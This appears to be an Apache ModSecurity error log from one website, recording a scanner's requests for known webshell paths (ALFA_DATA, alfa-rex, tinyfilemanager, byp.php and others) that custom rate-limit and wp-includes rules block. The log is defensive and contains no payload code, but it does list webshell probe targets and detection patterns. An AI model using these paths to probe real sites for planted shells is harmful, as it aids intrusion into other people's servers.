[Sat Feb 28 14:54:24.035800 2026] [:error] [pid 11791:tid 11797] [client 13.71.191.191:64976] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaKRIGuX5e1Q32gqxH1SSwAAAQQ"]
[Sat Feb 28 14:54:24.455216 2026] [:error] [pid 11791:tid 11796] [client 13.71.191.191:11558] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaKRIGuX5e1Q32gqxH1STwAAAQM"]
[Sat Feb 28 14:54:24.878257 2026] [:error] [pid 11791:tid 11812] [client 13.71.191.191:65005] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaKRIGuX5e1Q32gqxH1SWQAAARM"]
[Sat Feb 28 14:54:25.311214 2026] [:error] [pid 11791:tid 11798] [client 13.71.191.191:65009] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/ern/classwithtostring.php"] [unique_id "aaKRIWuX5e1Q32gqxH1SXQAAAQU"]
[Sat Feb 28 14:54:25.789261 2026] [:error] [pid 39292:tid 39294] [client 13.71.191.191:64988] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fnyeltio.php"] [unique_id "aaKRIaIAO5fN7BxyqcH1uAAAAMA"]
[Sat Feb 28 14:54:26.236927 2026] [:error] [pid 39185:tid 39268] [client 13.71.191.191:64908] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fnyeltio.php"] [unique_id "aaKRIhVE-FfM89u7BQYzFgAAAJY"]
[Sat Feb 28 14:54:26.680648 2026] [:error] [pid 39292:tid 39308] [client 13.71.191.191:11561] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fnyeltio.php"] [unique_id "aaKRIqIAO5fN7BxyqcH1ugAAAM4"]
[Sat Feb 28 14:54:27.143070 2026] [:error] [pid 39183:tid 39203] [client 13.71.191.191:64903] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fnyeltio.php"] [unique_id "aaKRIxCf4HvhVePw3Lb7UgAAAAs"]
[Sat Feb 28 14:54:27.618931 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:64910] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/class.engine.php"] [unique_id "aaKRIxVE-FfM89u7BQYzIgAAAJI"]
[Sat Feb 28 14:54:28.070292 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:11524] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/format-library/admin.php"] [unique_id "aaKRJLLWOogAgHGh62R8fgAAAZI"]
[Sat Feb 28 14:54:28.511026 2026] [:error] [pid 52460:tid 52466] [client 13.71.191.191:64946] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/affiliate_manager.php"] [unique_id "aaKRJLLWOogAgHGh62R8gQAAAYM"]
[Sat Feb 28 14:54:28.927362 2026] [:error] [pid 52460:tid 52478] [client 13.71.191.191:65004] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/affiliate_manager.php"] [unique_id "aaKRJLLWOogAgHGh62R8hAAAAY8"]
[Sat Feb 28 14:54:29.408687 2026] [:error] [pid 22194:tid 22218] [client 13.71.191.191:64961] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/affiliate_manager.php"] [unique_id "aaKRJX6mbajs3bzQGyte9wAAAVY"]
[Sat Feb 28 14:54:29.855960 2026] [:error] [pid 39292:tid 39303] [client 13.71.191.191:64919] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/affiliate_manager.php"] [unique_id "aaKRJaIAO5fN7BxyqcH1wAAAAMk"]
[Sat Feb 28 14:54:30.280168 2026] [:error] [pid 11791:tid 11794] [client 13.71.191.191:64915] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/bk.php"] [unique_id "aaKRJmuX5e1Q32gqxH1SbgAAAQE"]
[Sat Feb 28 14:54:30.758911 2026] [:error] [pid 22194:tid 22215] [client 13.71.191.191:64932] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/bk.php"] [unique_id "aaKRJn6mbajs3bzQGyte-gAAAVM"]
[Sat Feb 28 14:54:31.221971 2026] [:error] [pid 52460:tid 52465] [client 13.71.191.191:11523] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/bk.php"] [unique_id "aaKRJ7LWOogAgHGh62R8iwAAAYI"]
[Sat Feb 28 14:54:31.682612 2026] [:error] [pid 52460:tid 52480] [client 13.71.191.191:11565] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ALFA_DATA/alfacgiapi/bk.php"] [unique_id "aaKRJ7LWOogAgHGh62R8kAAAAZE"]
[Sat Feb 28 14:54:32.118438 2026] [:error] [pid 11791:tid 11798] [client 13.71.191.191:64947] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php/cpvcigyk.php/text.php"] [unique_id "aaKRKGuX5e1Q32gqxH1ScwAAAQU"]
[Sat Feb 28 14:54:32.595588 2026] [:error] [pid 39185:tid 39257] [client 13.71.191.191:64935] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php/cpvcigyk.php/text.php"] [unique_id "aaKRKBVE-FfM89u7BQYzLgAAAIs"]
[Sat Feb 28 14:54:33.014038 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:65011] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php/cpvcigyk.php/text.php"] [unique_id "aaKRKRVE-FfM89u7BQYzNQAAAJI"]
[Sat Feb 28 14:54:33.474326 2026] [:error] [pid 39185:tid 39253] [client 13.71.191.191:64930] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/duck.php/cpvcigyk.php/text.php"] [unique_id "aaKRKRVE-FfM89u7BQYzPAAAAIc"]
[Sat Feb 28 14:54:33.888793 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:64902] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php/file1.php/text.php"] [unique_id "aaKRKRVE-FfM89u7BQYzRwAAAJI"]
[Sat Feb 28 14:54:34.341868 2026] [:error] [pid 39292:tid 39312] [client 13.71.191.191:65021] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php/file1.php/text.php"] [unique_id "aaKRKqIAO5fN7BxyqcH1yAAAANI"]
[Sat Feb 28 14:54:34.792906 2026] [:error] [pid 39185:tid 39246] [client 13.71.191.191:11556] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php/file1.php/text.php"] [unique_id "aaKRKhVE-FfM89u7BQYzTwAAAIA"]
[Sat Feb 28 14:54:35.234134 2026] [:error] [pid 11791:tid 11811] [client 13.71.191.191:11560] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/contact.php/file1.php/text.php"] [unique_id "aaKRK2uX5e1Q32gqxH1SdwAAARI"]
[Sat Feb 28 14:54:35.670184 2026] [:error] [pid 52460:tid 52486] [client 13.71.191.191:65016] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/alfa-rex.php8"] [unique_id "aaKRK7LWOogAgHGh62R8nQAAAZc"]
[Sat Feb 28 14:54:36.088490 2026] [:error] [pid 39292:tid 39300] [client 13.71.191.191:64914] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/alfa-rex.php8"] [unique_id "aaKRLKIAO5fN7BxyqcH1zgAAAMY"]
[Sat Feb 28 14:54:36.530757 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:65022] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/alfa-rex.php8"] [unique_id "aaKRLBVE-FfM89u7BQYzWAAAAJE"]
[Sat Feb 28 14:54:36.954783 2026] [:error] [pid 39185:tid 39256] [client 13.71.191.191:12225] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/more/alfa-rex.php8"] [unique_id "aaKRLBVE-FfM89u7BQYzXAAAAIo"]
[Sat Feb 28 14:54:37.376877 2026] [:error] [pid 39292:tid 39296] [client 13.71.191.191:64942] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu.php"] [unique_id "aaKRLaIAO5fN7BxyqcH11AAAAMI"]
[Sat Feb 28 14:54:37.804305 2026] [:error] [pid 39292:tid 39317] [client 13.71.191.191:64909] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu.php"] [unique_id "aaKRLaIAO5fN7BxyqcH11gAAANc"]
[Sat Feb 28 14:54:38.223272 2026] [:error] [pid 39185:tid 39254] [client 13.71.191.191:11521] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu.php"] [unique_id "aaKRLhVE-FfM89u7BQYzZgAAAIg"]
[Sat Feb 28 14:54:38.640104 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:64954] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pu.php"] [unique_id "aaKRLhVE-FfM89u7BQYzaQAAAII"]
[Sat Feb 28 14:54:39.055105 2026] [:error] [pid 39184:tid 39228] [client 13.71.191.191:64998] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/js/foter.php"] [unique_id "aaKRL1tZF9Zd_U7easDyhgAAAEk"]
[Sat Feb 28 14:54:39.488386 2026] [:error] [pid 39292:tid 39309] [client 13.71.191.191:64944] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/js/foter.php"] [unique_id "aaKRL6IAO5fN7BxyqcH12wAAAM8"]
[Sat Feb 28 14:54:39.938635 2026] [:error] [pid 52460:tid 52481] [client 13.71.191.191:11520] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/js/foter.php"] [unique_id "aaKRL7LWOogAgHGh62R8ogAAAZI"]
[Sat Feb 28 14:54:40.372503 2026] [:error] [pid 52460:tid 52486] [client 13.71.191.191:65006] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assets/contao/js/foter.php"] [unique_id "aaKRMLLWOogAgHGh62R8pgAAAZc"]
[Sat Feb 28 14:54:40.789057 2026] [:error] [pid 22194:tid 22208] [client 13.71.191.191:64982] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/editor/tinyfilemanager.php"] [unique_id "aaKRMH6mbajs3bzQGytfAAAAAUw"]
[Sat Feb 28 14:54:41.212178 2026] [:error] [pid 22194:tid 22206] [client 13.71.191.191:12239] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/404.php"] [unique_id "aaKRMX6mbajs3bzQGytfAQAAAUo"]
[Sat Feb 28 14:54:42.481710 2026] [proxy_fcgi:error] [pid 39185:tid 39269] [client 13.71.191.191:12241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:54:42.905096 2026] [proxy_fcgi:error] [pid 39185:tid 39265] [client 13.71.191.191:12241] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:54:43.111789 2026] [:error] [pid 39185:tid 39248] [client 13.71.191.191:12241] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-simplepie.php"] [unique_id "aaKRMxVE-FfM89u7BQYzlAAAAII"]
[Sat Feb 28 14:54:43.975177 2026] [proxy_fcgi:error] [pid 39185:tid 39261] [client 13.71.191.191:65012] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:54:44.190806 2026] [proxy_fcgi:error] [pid 39185:tid 39258] [client 13.71.191.191:65012] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 14:54:44.409659 2026] [:error] [pid 39185:tid 39264] [client 13.71.191.191:65012] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaKRNBVE-FfM89u7BQYzoQAAAJI"]
[Sat Feb 28 14:54:44.848497 2026] [:error] [pid 39185:tid 39247] [client 13.71.191.191:64992] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaKRNBVE-FfM89u7BQYzowAAAIE"]
[Sat Feb 28 14:54:45.284878 2026] [:error] [pid 52460:tid 52466] [client 13.71.191.191:65017] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaKRNbLWOogAgHGh62R8tQAAAYM"]
[Sat Feb 28 14:54:45.712273 2026] [:error] [pid 39185:tid 39263] [client 13.71.191.191:64900] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/spin.php"] [unique_id "aaKRNRVE-FfM89u7BQYzpQAAAJE"]
[Sat Feb 28 14:54:46.132519 2026] [:error] [pid 11791:tid 11816] [client 13.71.191.191:12264] [client 13.71.191.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize//parx.php"] [unique_id "aaKRNmuX5e1Q32gqxH1SfwAAARc"]
[Sat Feb 28 14:54:46.551335 2026] [:error] [pid 39185:tid 39250] [client 13.71.191.191:64912] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IXR/network.php"] [unique_id "aaKRNhVE-FfM89u7BQYzqQAAAIQ"]
[Sat Feb 28 14:54:46.989148 2026] [:error] [pid 39185:tid 39258] [client 13.71.191.191:12224] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IXR/network.php"] [unique_id "aaKRNhVE-FfM89u7BQYzrAAAAIw"]
[Sat Feb 28 14:54:47.684124 2026] [:error] [pid 39183:tid 39216] [client 13.71.191.191:64923] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IXR/network.php"] [unique_id "aaKRNxCf4HvhVePw3Lb7ZgAAABg"]
[Sat Feb 28 14:54:48.156612 2026] [:error] [pid 39183:tid 39212] [client 13.71.191.191:64958] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaKROBCf4HvhVePw3Lb7awAAABQ"]
[Sat Feb 28 14:54:48.591782 2026] [:error] [pid 39292:tid 39297] [client 13.71.191.191:11534] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaKROKIAO5fN7BxyqcH16QAAAMM"]
[Sat Feb 28 14:54:49.018736 2026] [:error] [pid 39184:tid 39239] [client 13.71.191.191:65020] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaKROVtZF9Zd_U7easDykwAAAFQ"]
[Sat Feb 28 14:54:49.464591 2026] [:error] [pid 22194:tid 22219] [client 13.71.191.191:12268] [client 13.71.191.191] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/fix/byp.php"] [unique_id "aaKROX6mbajs3bzQGytfCQAAAVc"]
